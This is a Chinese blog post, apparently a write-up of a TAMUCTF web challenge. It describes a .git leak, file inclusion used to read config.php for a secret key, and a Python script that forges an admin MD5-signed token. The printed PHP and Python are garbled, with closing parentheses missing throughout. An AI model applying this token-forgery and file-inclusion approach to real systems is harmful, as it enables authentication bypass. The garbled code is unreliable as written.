记一道国际赛CTF web题

科技资讯 投稿 5500 0 评论

记一道国际赛CTF web题

这是一篇关于打d3ctf坐牢,无奈去打国际赛的题解。

TAMUCTF [Blackbox]

之后我就换了一个思路,就是扫一下,看看能不能有什么东西被扫出来,结果还真扫出来点东西,一个flag.txt,一个flag.php,还有就是.git泄露。

审计之后发现存在文件包含,于是乎想起之前的falg.php,于是顺利成章的读取flag.php,但是哪有那么顺利,flag.php返回了一个youtobe的一个网址,靠,白高兴了。

于是又走上了一条代码审计的不归路。

function verify_token(string $token { $token_data = explode('.', $token; if(hash('md5', SECRET_KEY . $token_data[0] == $token_data[1] { return true; } return false; } //这里是传入一个字符串,然后出现.号后分成俩部分,MD5哈希算法对SECRET_KEY和token_data[0]的组合字符串进行哈希处理,并将哈希结果与token_data[1]进行比较。如果两个值相同,则返回true,否则返回false。
function is_admin(string $token { if(verify_token($token { $db = new SQLite3(DB_FILE; $data = json_decode(base64_decode(explode('.', $token[0], TRUE; $username = $data['username']; $user_key = $data['user_key']; $admin = $data['admin']; $statement = $db->prepare('SELECT * FROM users WHERE username=:uname AND key=:ukey;'; $statement->bindValue(':uname', $username; $statement->bindValue(':ukey', $user_key; $result = $statement->execute(;//这里进行了一个查找数据库,如果转成JSON格式后的username与数据库中users表的username一样,并且user_key与key一样就可以进行登陆。 if($result != false && $result->fetchArray( != false && $admin == true { return true; } return false; } }

 

 这里就这俩个方法比较重要,这俩个方法进行身份验证。

function verify_token(string $token { 
  $token_data = explode('.', $token;
  if(hash('md5', SECRET_KEY . $token_data[0] == $token_data[1] {
    return true;
  }
  return false;
}

这里我们首先获得SECRET_KEY,这个SECRET_KEY,翻遍了所有文件都没有找到,但是在.gitignore文件下面找到了config.php,所以我们使用文件包含读取config.php,果不其然·,我们找到了SECRET_KEY

import hashlib
import json
import base64

# 定义 SECRET_KEY 和 Token 数据
SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8'
token_data = {
    "username": "admin",
    "user_key": "26ceb685f46e6d22",
    "admin": True
}

# 编码 Token 数据,生成 Token 字符串
encoded_token_data = base64.b64encode(json.dumps(token_data.encode(.decode(
hash_str = SECRET_KEY + encoded_token_data
hash_obj = hashlib.md5(hash_str.encode(
hash_result = hash_obj.hexdigest(
token_str = "{0}.{1}".format(encoded_token_data, hash_result

# 验证 Token 字符串是否有效
token_parts = token_str.split('.'
if len(token_parts != 2:
    print("Token 字符串不合法"
else:
    decoded_token_data = json.loads(base64.b64decode(token_parts[0].decode(
    if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data
        and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22'
        and decoded_token_data['admin'] is True:
        str_to_hash = SECRET_KEY + token_parts[0]
        hash_obj = hashlib.md5(str_to_hash.encode(
        hash_result = hash_obj.hexdigest(
        if hash_result == token_parts[1]:
            print("Token 字符串有效:", token_str
        else:
            print("Token 字符串无效"
    else:
        print("Token 字符串无效"

 

 

编程笔记 » 记一道国际赛CTF web题

赞同 (30) or 分享 (0)
游客 发表我的评论   换个身份
取消评论

表情
(0)个小伙伴在吐槽